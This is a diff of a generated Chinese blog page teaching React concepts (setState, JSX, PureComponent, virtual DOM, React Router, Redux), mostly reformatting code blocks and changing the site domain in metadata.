 setState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据
 如果当前setState()依赖于前面的setState()，解决方法：
-this.setState((state, props) =>{
return{
count: state.count + 1
}
})
console.log(this.state.count)
this.setState((state, props) =>{
return{
count: state.count + 1
}
})
console.log(this.state.count)
state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
+this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
 如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数
 例如：
-this.setState((state, props) =>{
return{
count: state.count + 1
}
},() => {
console.log(this.state.count)
})
可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
+this.setState((state, props) =>{ return{ count: state.count + 1 } },() => { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
 因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新
 jsx语法的转化
 jsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法
 而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新
 例如：
-const Abc = (
<div>hallo</div>
)
console.log(Abc)
可以看到输出返回的是一个js对象
+const Abc = ( <div>hallo</div> ) console.log(Abc) 可以看到输出返回的是一个js对象
 React.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）
 组件更新机制
 setState()的作用：修改state，更新组件
@@ -49,20 +49,20 @@
 如果需要在多个方法中使用（共享）的数据，应该放在this中
 因为组件更新机制的原因，子组件没有变化也会重新渲染
 解决方法：
-使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/63/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-25T12:00:00+00:00"><meta property="article:modified_time" content="2021-07-25T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="深入学习React"><meta name=twitter:description content="setState()
+使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/63/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-25T12:00:00+00:00"><meta property="article:modified_time" content="2021-07-25T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="深入学习React"><meta name=twitter:description content="setState()
 注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）
 setState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据
 如果当前setState()依赖于前面的setState()，解决方法：
-this.setState((state, props) =>{
return{
count: state.count + 1
}
})
console.log(this.state.count)
this.setState((state, props) =>{
return{
count: state.count + 1
}
})
console.log(this.state.count)
state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
+this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
 如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数
 例如：
-this.setState((state, props) =>{
return{
count: state.count + 1
}
},() => {
console.log(this.state.count)
})
可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
+this.setState((state, props) =>{ return{ count: state.count + 1 } },() => { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
 因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新
 jsx语法的转化
 jsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法
 而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新
 例如：
-const Abc = (
<div>hallo</div>
)
console.log(Abc)
可以看到输出返回的是一个js对象
+const Abc = ( <div>hallo</div> ) console.log(Abc) 可以看到输出返回的是一个js对象
 React.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）
 组件更新机制
 setState()的作用：修改state，更新组件
@@ -74,104 +74,104 @@
 如果需要在多个方法中使用（共享）的数据，应该放在this中
 因为组件更新机制的原因，子组件没有变化也会重新渲染
 解决方法：
-使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"深入学习React","item":"https://xiaochenabc123.github.io/posts/63/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"深入学习React","name":"深入学习React","description":"setState()\n注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）\nsetState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据\n如果当前setState()依赖于前面的setState()，解决方法：\nthis.setState((state, props) =\u0026gt;{\rreturn{\rcount: state.count + 1\r}\r})\rconsole.log(this.state.count)\rthis.setState((state, props) =\u0026gt;{\rreturn{\rcount: state.count + 1\r}\r})\rconsole.log(this.state.count)\rstate和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props\n如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数\n例如：\nthis.setState((state, props) =\u0026gt;{\rreturn{\rcount: state.count + 1\r}\r},() =\u0026gt; {\rconsole.log(this.state.count)\r})\r可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值\n因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新\njsx语法的转化\njsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法\n而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新\n例如：\nconst Abc = (\r\u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt;\r)\rconsole.log(Abc)\r可以看到输出返回的是一个js对象\nReact.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）\n组件更新机制\nsetState()的作用：修改state，更新组件\n父组件重新更新state，子组件也会更新，不过只会影响到当前组件和其他子组件（后代组件）（组件树），对于该组件的兄弟组件和根组件（父组件）是不会影响\n初次渲染，当页面刷新时就会初次渲染，先渲染根组件，再按顺序渲染更新父组件和后代组件\n更新根组件，那么其下全部的组件树都会更新\n组件性能优化\nstate只存储和组件渲染相关的数据，例如列表数据，而不用来渲染的数据不放在state中\n如果需要在多个方法中使用（共享）的数据，应该放在this中\n因为组件更新机制的原因，子组件没有变化也会重新渲染\n解决方法：\n使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行","keywords":["React"],"articleBody":"setState()\n注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）\nsetState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据\n如果当前setState()依赖于前面的setState()，解决方法：\nthis.setState((state, props) =\u003e{\rreturn{\rcount: state.count + 1\r}\r})\rconsole.log(this.state.count)\rthis.setState((state, props) =\u003e{\rreturn{\rcount: state.count + 1\r}\r})\rconsole.log(this.state.count)\rstate和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props\n如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数\n例如：\nthis.setState((state, props) =\u003e{\rreturn{\rcount: state.count + 1\r}\r},() =\u003e {\rconsole.log(this.state.count)\r})\r可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值\n因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新\njsx语法的转化\njsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法\n而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新\n例如：\nconst Abc = (\rhallo\r)\rconsole.log(Abc)\r可以看到输出返回的是一个js对象\nReact.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）\n组件更新机制\nsetState()的作用：修改state，更新组件\n父组件重新更新state，子组件也会更新，不过只会影响到当前组件和其他子组件（后代组件）（组件树），对于该组件的兄弟组件和根组件（父组件）是不会影响\n初次渲染，当页面刷新时就会初次渲染，先渲染根组件，再按顺序渲染更新父组件和后代组件\n更新根组件，那么其下全部的组件树都会更新\n组件性能优化\nstate只存储和组件渲染相关的数据，例如列表数据，而不用来渲染的数据不放在state中\n如果需要在多个方法中使用（共享）的数据，应该放在this中\n因为组件更新机制的原因，子组件没有变化也会重新渲染\n解决方法：\n使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行\n通过该钩子函数的返回值来决定该组件是否重新渲染，返回true表示重新渲染，false表示不重新渲染\n根据该钩子函数中定义的条件，来表示是否重新渲染，例如：\nshouldComponentUpdate(nextProps, nextState){\rconsole.log(nextProps, nextState)\rconsole.log(this.props, this.state)\rreturn false\r}\rshouldComponentUpdate()的两个参数分别表示最新的props和state\n而通过this获取的props和state是更新前的\n因此可以通过比较更新前的数据和更新后的数据是否一致来决定是否重新渲染，不一致就重新渲染，一致就不重新渲染\n例如：\nshouldComponentUpdate(nextProps, nextState){\rif(nextState.count !== this.state.count){\rreturn true\r}\rreturn false\r}\r也可以直接进行比较来返回值，例如：return nextState.count !== this.state.count\n给子组件加shouldComponentUpdate()，子组件判断是否一致，通过props来判断\n纯组件（PureComponent）（内部对比是shallow compact，浅层对比）\n使用方法：class App extends React.PureComponent{}\nPureComponent内部自动实现了shouldComponentUpdate()钩子功能，不需要手动比较\n纯组件内部通过比较更新前和更新后两次props和state的值，来决定是否重新渲染组件\n浅层对比对于基础类型对比没有影响，就是值和值对比，而对于引用类型，只比较对象的引用地址是否相同，只要地址相同，就返回true，这个很坑\n如果state或者props中属性值是引用类型的，应该新建一个新数据，而不是直接修改原来的数据，例如：\nconst halloobj = { ...state.obj, a: \"hallo\" }\rsetState({ obj: halloobj })\r虚拟DOM和Diff算法\nreact渲染视图：只要state发生变化就重新渲染视图，部分更新，只更新变化的区域\n虚拟DOM配合Diff算法实现了部分更新功能\n虚拟DOM实质上是一个js对象，来描述视图显示的内容\n在初次渲染的时候，react会根据初始state（Model），来创建一个虚拟DOM树，然后根据虚拟DOM来生成真正的DOM，渲染到视图中\n当数据（state）发生变化时，会重新根据新的数据，创建新的虚拟DOM树\n然后会与上一次得到的虚拟DOM对象，使用Diff算法进行比较，来找到需要更新的内容\n然后只将变化的内容更新（patch）到DOM中，重新渲染到视图\n当组件的render()被调用时，会根据state和jsx结构来生成虚拟DOM对象\nrender()方法调用，不代表视图重新渲染，只是说明要进行Diff比较\nReact路由\n现代前端应用大多是SPA（单页应用程序），也就是只有一个html页面的应用程序，为了使用单页面来管理原来多页面的功能，因此前端路由诞生了\n路由实质上就是从一个视图导航到另一个视图，是一套映射规则，在React中是url路径与组件的对应关系\n安装路由（react）\nyarn add react-router-dom\n导入路由的核心组件（Router, Route, Link）\nimport { BrowserRouter as Router, Route, Link } from \"react-router-dom\"\r使用Router组件来作为根组件来包裹整个应用\n使用Link组件来作为路由入口\n使用Route组件来配置路由规则和要显示的组件（路由出口）\n例如：\nconst Hallo = () =\u003e (\rhallo React路由\r)\rconst PostMax = (props) =\u003e{\rreturn (\r跳转\r) }\rreact路由的执行过程：\n点击Link组件，修改URL\nReact路由监听到URL的变化，React路由内部遍历全部Route组件\n使用路由规则（path）与pathname（浏览器URL）进行匹配\n当路由规则和pathname匹配时，显示该Route组件的内容\n编程式导航（通过js程序来实现页面跳转）\nhistory是react路由提供的，用来获取浏览器历史记录的相关信息\n用法：this.props.history.push(\"/hallo\")\n返回上一页面：props.history.go(-1)\npush中的参数就是要跳转的路径\n例如：\nconst PostMax = (props) =\u003e{\rreturn (\r跳转\r) }\rconst Abc = (props) =\u003e {\rconst onbock = () =\u003e{\rprops.history.go(-1)\r}\rreturn(\rhallo\r返回\r)\r}\rclass Demoabc extends React.Component{\ronGo = () =\u003e{\rthis.props.history.push(\"/Abc\")\r}\rrender(){\rreturn(\rgoDemo\r)\r}\r}\r默认路由（进入页面就显示指定组件）：进入页面就匹配的路由\n默认路由为/，例如：\n匹配模式\n默认情况下，react路由是模糊匹配\n模糊匹配规则：当pathname以path开头就会匹配成功\n因此默认路由（/）永远都会匹配成功，得出如果当前页面是/Demoabc/xxx，那么/Demoabc和默认路由（/）也是会匹配成功\n精确匹配（避免默认路由匹配成功）\n给Route组件添加exact属性就是将其转换为精确匹配模式\n使用方法：\nreact的jsx中的onClick事件之类的都会封装在组件中，不会污染全局\n在react中使用了一个叫事件委托的事件处理方式\n无论页面有多少个事件，DOM上还是只添加一个事件函数\nVirtual DOM\n前端性能优化有个原则：尽量减少DOM操作\nDOM树是对html的抽象，那么Virtual DOM就是DOM的抽象，react会对比这次和上次渲染出来的Virtual DOM，找到发生改变的地方，达到局部更新数据，只重新渲染发生改变的那个区域，而不是改变个数据，整个dom结构都重新渲染\n根据软件设计的原则，一个优秀的组件要满足高内聚和低耦合的要求\n高内聚：将逻辑或者和逻辑相关的封装到一个组件中\n低耦合：不同的组件的依赖性要弱化，保证每个组件要尽量独立\n组件对外用prop，对内用state\n在外部的组件在任何情况下都不应该直接操作prop的值，而是在内部通过state来操作数据\nreact组件性能优化\n单个组件：通过shouldComponentUpdata函数的定义，在必要的情况下不需要更新，来节约计算资源\n多个组件：利用react的reconciliation算法，在树型结构的根节点不相同的话，react会推倒重新渲染，而如果相同，那么react就会保留节点的DOM元素，只对树型结构树型结构根节点上的属性和内容进行修改，只更新被修改的部分\n巧妙使用key：key在react中就是唯一标识，react通过key来确定组件的身份标识，能更快速识别出哪里发生了改变，key的值不要经常改变，要保证其是唯一性，稳定不变性，请勿使用index作为key\nRedux\nRedux是专门管理数据状态和UI状态的（可预测化的状态管理），Redux通过将应用状态存储在公用仓库（store）中，统一管理，这个仓库里有一个状态树（state tree），组件可以直接向仓库请求，可以通过监控仓库的状态来刷新状态（store的变化会导致view的变化）,调试Redux可以用Redux DevTools，Redux使用的是Flux模式\n安装Redux\nnpm install –save redux\n或者react-redux\nnpm install –save react-redux\nsrc/store/reducer.js\nconst StateData = {\rdata:[\r'hallo',\r'hahaha'\r]\r}\rexport default (state = StateData,action)=\u003e{\rreturn state\r}\r建立reducer管理\nsrc/store/index.js\nimport { createStore } from 'redux'\rimport reducer from './reducer'\rconst store = createStore(reducer) export default store\r上面通过createStore方法创建store仓库，并且暴露store仓库\n组件获取状态\nimport React, { Component } from ‘react’; import store from ‘./store’ class Demo extends Component { constructor(props){ super(props) this.state=store.getState() console.log(this.state) } render() { return ( {this.state.list} ) } }\nRedux有三个原则：唯一数据源，保持状态只读，数据改变只通过纯函数完成\n唯一数据源就是将全部组件（或者应用）状态数据只存放在唯一的一个store上\n保持状态只读就是不直接修改状态数据，通过一个action对象来完成，不是不修改状态数据，而是创建一个新的状态对象返回给Redux，让Redux来完成状态的处理\n数据改变只通过纯函数完成就是通过reducer来规约数据\nReact-Redux将全部组件分为两种，UI组件和容器组件\nUI组件就是只提供UI，没有涉及逻辑处理的，没有状态，不使用任何Redux的api，数据完全靠this.props来提供\n容器组件就是只提供逻辑处理，不涉及任何关于UI的\n一般来说容器组件会包裹UI组件，来提供组件通信，将数据传递给只提供UI的组件，UI根据传递过来的数据来渲染更新\n在Redux中，容器组件都由Redux提供，只需要专注逻辑和UI组件就可以了\n通过connect方法来将UI组件和容器组件连接起来，可以通过connect方法自动生成容器组件\n例如：\nimport { connect } from 'react-redux'\rconst Docker = connect()(Ui)\r其中Docker就是通过connect方法生成的容器组件，而Ui就是UI组件\nconnect()方法还支持两个参数，分别是输入逻辑和输出逻辑\n输入逻辑就是如何将数据传递给UI组件的定义（props），输出逻辑就是如何将用户操作UI组件的数据映射到store.dispatch\nwithRouter高阶组件：当某个东西不是router路由时，但是需要它跳转时，就可以使用withRouter\nwithRouter组件是在react-router-dom中的，因此需要引用，用法：\nimport React from 'react'\rimport { withRouter, Route } from \"react-router-dom\"\rclass Demo extends React.Component {\rrender() { console.log(this.props)\rreturn ( )\r}\r}\rexport default withRouter(Demo)\r可以看到withRouter接收一个组件，router的history, location, match存储在组件的props属性中\n","wordCount":"439","inLanguage":"en","datePublished":"2021-07-25T12:00:00Z","dateModified":"2021-07-25T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/63/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>深入学习React</h1><div class=post-meta><span title='2021-07-25 12:00:00 +0000 UTC'>2021-07-25</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e6%b7%b1%e5%85%a5%e5%ad%a6%e4%b9%a0React.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>setState()</p><p>注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）</p><p>setState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据</p><p>如果当前setState()依赖于前面的setState()，解决方法：</p><pre><code>this.setState((state, props) =&gt;{
-    return{
-        count: state.count + 1
-    }
-})
-console.log(this.state.count)
-this.setState((state, props) =&gt;{
-    return{
-        count: state.count + 1
-    }
-})
-console.log(this.state.count)
-</code></pre><p>state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props</p><p>如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数</p><p>例如：</p><pre><code>this.setState((state, props) =&gt;{
-    return{
-       count: state.count + 1
-    }
-},() =&gt; {
-    console.log(this.state.count)
-})
-</code></pre><p>可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值</p><p>因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新</p><hr><p>jsx语法的转化</p><p>jsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法</p><p>而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新</p><p>例如：</p><pre><code>const Abc = (
-    &lt;div&gt;hallo&lt;/div&gt;
-)
-console.log(Abc)
-</code></pre><p>可以看到输出返回的是一个js对象</p><p>React.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）</p><hr><p>组件更新机制</p><p>setState()的作用：修改state，更新组件</p><p>父组件重新更新state，子组件也会更新，不过只会影响到当前组件和其他子组件（后代组件）（组件树），对于该组件的兄弟组件和根组件（父组件）是不会影响</p><p>初次渲染，当页面刷新时就会初次渲染，先渲染根组件，再按顺序渲染更新父组件和后代组件</p><p>更新根组件，那么其下全部的组件树都会更新</p><hr><p>组件性能优化</p><p>state只存储和组件渲染相关的数据，例如列表数据，而不用来渲染的数据不放在state中</p><p>如果需要在多个方法中使用（共享）的数据，应该放在this中</p><p>因为组件更新机制的原因，子组件没有变化也会重新渲染</p><p>解决方法：</p><p>使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行</p><p>通过该钩子函数的返回值来决定该组件是否重新渲染，返回true表示重新渲染，false表示不重新渲染</p><p>根据该钩子函数中定义的条件，来表示是否重新渲染，例如：</p><pre><code>shouldComponentUpdate(nextProps, nextState){
-    console.log(nextProps, nextState)
-    console.log(this.props, this.state)
-    return false
-}
-</code></pre><p>shouldComponentUpdate()的两个参数分别表示最新的props和state</p><p>而通过this获取的props和state是更新前的</p><p>因此可以通过比较更新前的数据和更新后的数据是否一致来决定是否重新渲染，不一致就重新渲染，一致就不重新渲染</p><p>例如：</p><pre><code>shouldComponentUpdate(nextProps, nextState){
-    if(nextState.count !== this.state.count){
-        return true
-    }
-    return false
-}
-</code></pre><p>也可以直接进行比较来返回值，例如：return nextState.count !== this.state.count</p><p>给子组件加shouldComponentUpdate()，子组件判断是否一致，通过props来判断</p><p>纯组件（PureComponent）（内部对比是shallow compact，浅层对比）</p><p>使用方法：class App extends React.PureComponent{}</p><p>PureComponent内部自动实现了shouldComponentUpdate()钩子功能，不需要手动比较</p><p>纯组件内部通过比较更新前和更新后两次props和state的值，来决定是否重新渲染组件</p><p>浅层对比对于基础类型对比没有影响，就是值和值对比，而对于引用类型，只比较对象的引用地址是否相同，只要地址相同，就返回true，这个很坑</p><p>如果state或者props中属性值是引用类型的，应该新建一个新数据，而不是直接修改原来的数据，例如：</p><pre><code>const halloobj = { ...state.obj, a: &quot;hallo&quot; }
-setState({ obj: halloobj })
-</code></pre><hr><p>虚拟DOM和Diff算法</p><p>react渲染视图：只要state发生变化就重新渲染视图，部分更新，只更新变化的区域</p><p>虚拟DOM配合Diff算法实现了部分更新功能</p><p>虚拟DOM实质上是一个js对象，来描述视图显示的内容</p><p>在初次渲染的时候，react会根据初始state（Model），来创建一个虚拟DOM树，然后根据虚拟DOM来生成真正的DOM，渲染到视图中</p><p>当数据（state）发生变化时，会重新根据新的数据，创建新的虚拟DOM树</p><p>然后会与上一次得到的虚拟DOM对象，使用Diff算法进行比较，来找到需要更新的内容</p><p>然后只将变化的内容更新（patch）到DOM中，重新渲染到视图</p><p>当组件的render()被调用时，会根据state和jsx结构来生成虚拟DOM对象</p><p>render()方法调用，不代表视图重新渲染，只是说明要进行Diff比较</p><hr><p>React路由</p><p>现代前端应用大多是SPA（单页应用程序），也就是只有一个html页面的应用程序，为了使用单页面来管理原来多页面的功能，因此前端路由诞生了</p><p>路由实质上就是从一个视图导航到另一个视图，是一套映射规则，在React中是url路径与组件的对应关系</p><p>安装路由（react）</p><p>yarn add react-router-dom</p><p>导入路由的核心组件（Router, Route, Link）</p><pre><code>import { BrowserRouter as Router, Route, Link } from &quot;react-router-dom&quot;
-</code></pre><p>使用Router组件来作为根组件来包裹整个应用</p><p>使用Link组件来作为路由入口</p><p>使用Route组件来配置路由规则和要显示的组件（路由出口）</p><p>例如：</p><pre><code>const Hallo = () =&gt; (
-    &lt;div&gt;
-        hallo React路由
-    &lt;/div&gt;
-)
-const PostMax = (props) =&gt;{
-    return (
-        &lt;Router&gt;
-            &lt;div&gt;
-                &lt;Link to=&quot;/hallo&quot;&gt;跳转&lt;/Link&gt;
-                &lt;Route path=&quot;/hallo&quot; component={Hallo}&gt;&lt;/Route&gt;
-            &lt;/div&gt;
-        &lt;/Router&gt;
-    ) 
-}
-</code></pre><p>react路由的执行过程：</p><p>点击Link组件，修改URL</p><p>React路由监听到URL的变化，React路由内部遍历全部Route组件</p><p>使用路由规则（path）与pathname（浏览器URL）进行匹配</p><p>当路由规则和pathname匹配时，显示该Route组件的内容</p><p>编程式导航（通过js程序来实现页面跳转）</p><p>history是react路由提供的，用来获取浏览器历史记录的相关信息</p><p>用法：this.props.history.push("/hallo")</p><p>返回上一页面：props.history.go(-1)</p><p>push中的参数就是要跳转的路径</p><p>例如：</p><pre><code>const PostMax = (props) =&gt;{
-    return (
-        &lt;Router&gt;
-            &lt;div&gt;
-                &lt;Link to=&quot;/demoabc&quot;&gt;跳转&lt;/Link&gt;
-                &lt;Route path=&quot;/demoabc&quot; component={Demoabc}&gt;&lt;/Route&gt;
-                &lt;Route path=&quot;/abc&quot; component={Abc}&gt;&lt;/Route&gt;
-            &lt;/div&gt;
-        &lt;/Router&gt;
-    ) 
-}
-const Abc = (props) =&gt; {
-    const onbock = () =&gt;{
-        props.history.go(-1)
-    }
-    return(
-        &lt;div&gt;
-            &lt;div&gt;hallo&lt;/div&gt;
-            &lt;div onClick={onbock}&gt;返回&lt;/div&gt;
-        &lt;/div&gt;
-    )
-}
-class Demoabc extends React.Component{
-    onGo = () =&gt;{
-        this.props.history.push(&quot;/Abc&quot;)
-    }
-    render(){
-        return(
-            &lt;div onClick = {this.onGo}&gt;goDemo&lt;/div&gt;
-        )
-    }
-}
-</code></pre><p>默认路由（进入页面就显示指定组件）：进入页面就匹配的路由</p><p>默认路由为/，例如：</p><pre><code>&lt;Route path=&quot;/&quot; component={Demoabc}&gt;&lt;/Route&gt;
